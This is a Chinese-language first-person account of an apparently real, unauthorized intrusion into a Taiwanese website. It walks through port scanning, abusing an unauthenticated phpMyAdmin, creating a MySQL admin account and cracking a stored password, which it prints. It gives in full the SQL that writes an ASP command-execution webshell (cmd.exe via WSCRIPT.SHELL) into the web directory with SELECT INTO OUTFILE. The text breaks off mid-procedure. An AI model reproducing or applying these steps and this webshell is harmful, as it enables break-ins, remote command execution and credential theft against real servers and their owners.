用Mysql得到Webshell(MySql Backup WebShell) 此篇文章是在一次入侵后的总结,无聊,拿到台湾的一个web站点做测试,开篇进入正题吧!开始拿到web地址时,Ping操作,接着就是调出X-scan扫描,目标主机只开放了21,80,3306,8080端口,并且无报任何漏洞。操作系统为windows 2003,明显是用了IIS服务器。分别telnet服务的端口为确定banner。目标主机使用了IIS,Serv-U FTPv5.2,MYsql4.0.21-nt。新版本,还没有发现漏洞,溢出就不大可能。 入侵分析: 我们先分析一下他的web程序,采用php+mysql,另外还架设了一个asp论坛。整站程序并没有多用户集群,而是采用了管理员后台添加删除等操作,而asp论坛提供上传功能。目前只有从注射和上传欺骗入手了。 先www.domain.com/admin,管理员后台登陆界面并没有删出,不过在我随意输入admin,admin之后却出现了“找不到這個頁面”,显然后台登陆的地方已经被管理员修改过,郁闷,猜解不出管理页面,构造极其麻烦对于我来说,不过程序左边却有快捷管理导航栏,当然一般情况只有进行正常登陆进去的时候,才能进行管理,随便打开一个连接,结果得到警告,不过,我们却得到了很重要的东西,因为管理员并没有完全处理php后台文件,导致调用的时候出错。 错误如下: Fatal error: Cannot instantiate non-existent class: html_template_it in D:\www\target\bussiness\admin\mMoney\Money_News_List.php on line 20 可以说是我们无意中暴出的WEB路径。至少在写一些文件的时候,我们会少走一点弯路。 接着我们对bbs进行文件上传漏洞测试,上传,抓包,欺骗伪装,再进行上传,结果代码限制,上传未遂! 原以为到此结束的,可是目标机器的8080引起了我的注意力,进入www.domain.com:8080,出现的是“歡迎使用 phpMyAdmin 2.6.0-rc1 ”,这个不用我说了吧。PhpMyAdmin作为Web方式管理Mysql数据库的程序,但起眼的是“必須設定 $cfg['PmaAbsoluteUri'] 在設定檔內!”,最重要的还有“MySQL 版本 4.0.21-nt 在 localhost 執行,登入者為 root@localhost”。这是PhpMyAdmin下面的config.inc.php设置上的错误。我们能直接进行访问而且没有要求输入口令,我们可以看出$cfg['Servers'][$i]['auth_type'] = 'config';为默认设置,我们知道PHP安装模式为Apache时使用http和cookie;如果PHP安装模式为CGI,可以是用cookie;默认为config,这是危险的设置,我们可以不需要认证登陆PhpMyAdmin。而且以本地root进行登陆。我们来查看一下权限,如图1所示。
管理员建立了一个用户给予自己的web程序使用,而留下root并没有进行清理或者限制,ALL PRIVILEGES所有权限。这样一来,我们就可以建立一个mysql管理员了,结果在预料之中,并没有权限不够的出错提示,成功建立Mysql管理员帐号。有关操作PhpMyAdin并非此文的要点,这里不再多说。 呵呵,有了管理员帐号,我们就可以做很多事情了,当然目的只有一个取得服务器权限,当时这中间还有一道工序还没有完成,Mysql不象MSQL那样只要以数据库管理员连接成功就可以直接进行添加系统管理员等操作。以我们建立的用户进行连接,记得牛族开发过一个SuperMysql(mysql数据库连接程序),我们无须本地安装mysql或者其他的数据库软件,SuperMysql已足够让我们执行命令和查看数据库内容。我们以刚才建立的用户名和密码,填入IP进行登陆。登陆成功会显示提示框,点击确认后界面如图2,
我们打开“mysql”这个数据库,可以看到数据库管理员的密码,不过是加密过的。呵呵,为了隐藏起见,我们破解出其中一个,以后就方便多了,以免被管理员无意中发现。“工欲善其事,必先利其器”,感谢xuanniao大哥写的crackmysql(破7位密码只要10分钟)速度其快,不管那么多了,先让他跑一下。发现加密过的密码都是一样的,管理员如此疏忽。把加密过的密码抓下来,不出五分钟,密码出来了,7851465。呵呵,现在我们可以删除我们刚才建立的那个用户,用其管理员帐号登陆了,因为写这篇文章的时候,入侵已经过去了,这里就不再罗嗦,我再用supermysl以root连接的时候,却连接失败,百思不得其解,最后返回到PhpMyAdmin才明白,大家可以从图1看出来root只能从本地连接(主机为localhost)。而另一用户则意味着“任何主机”(%通配符),这也是最不安全的地方。 我想下一步大家已经明白了,通过mysql数据库Backup MysqlDataWebShell。记得,SuperHei写过一个autogetwebshell(PHP语言所写、只要输入远程MySQL地址、库名、用户名、密码、代码以及一个可写的Web目录,就直接导出一个WebShell)拿来试试,依次填入相关数据,点击提交,结果并没有连接成功当然也就导出不了数据一开始我是在本地架设的Apache,以为是本地的问题,放到自己空间里面实验,结果也一样,返回的页面却是“无法找到网页”不知道是不是作者代码不完尚的缘故,因为php也在学*之中,也就没有余力去看autogetwebshell的代码了,看来还只有自己动手了。看过Swan写的Backup a shell文章,MSSQL在导出文件时遇到了字符转换,这样代码不可能被的解释执行。同样在mysql中以存在此类问题。我们以《通过mysql入侵NT和win2000》参考,通过sql语句把脚本输入到数据库,再把脚本导出到目标主机的web目录。详细代码请参看原文,输入命令如图3:
如果执行成功将会返回到mysql\bin目录下。如果目标主机的存在此表格或者cmd2.php存在,脚本将失效。 从浏览器中,虽然我们已经得到了Guest权限的shell,但是通过这个shell脚本却不能写东西,还有的说此shell为system shell,在此,不予雷同。崩溃,看来只有换个shell试了。由于服务器放有asp论坛,拉出简易的asp后门,构造成一个sql文件! use target; create table XaCk3r (cmd TEXT);//这里创建一个XaCk3r的表格,一个cmd字段的文本数据,以下就是sql语句插入asp木马的内容了。 insert into XaCk3r values('<%@ language="VBScript"> <% % Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>
<% % If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If %>
'); select * from XaCk3r into outfile 'd:\\www\target\\XaCk3r.asp'; //接着导出到web目录中。 然后转回到mysql目录,输入命令:mysql -h IP -u usename -p 命令执行成功并返回到mysql目录下。然后我们访问http://www.domain.com/XaCk3r.asp。倒!执行错误,昏死。 Microsoft VBScript 编译器错误 错误 '800a0400' 缺少语句 /xack3r.asp,行2 原来打算省点事,不用那么一行一行的输入,但返回给我们的却并不满意。明显代码写入的时候格式破坏了,于是在本地进行测试,果然不出所料,在写入asp文件的时候,asp代码每一行都加了一个反斜杆(\),导致代码不能正确执行。难道还是一行一行的输入,试试吧! 再用牛族的Supermysql连接上去:输入以下命令;在这里说明一下,一年前的《一次艰难而真实的入侵》这篇文章,现在再次读起来,一些地方不予雷同。 %@> |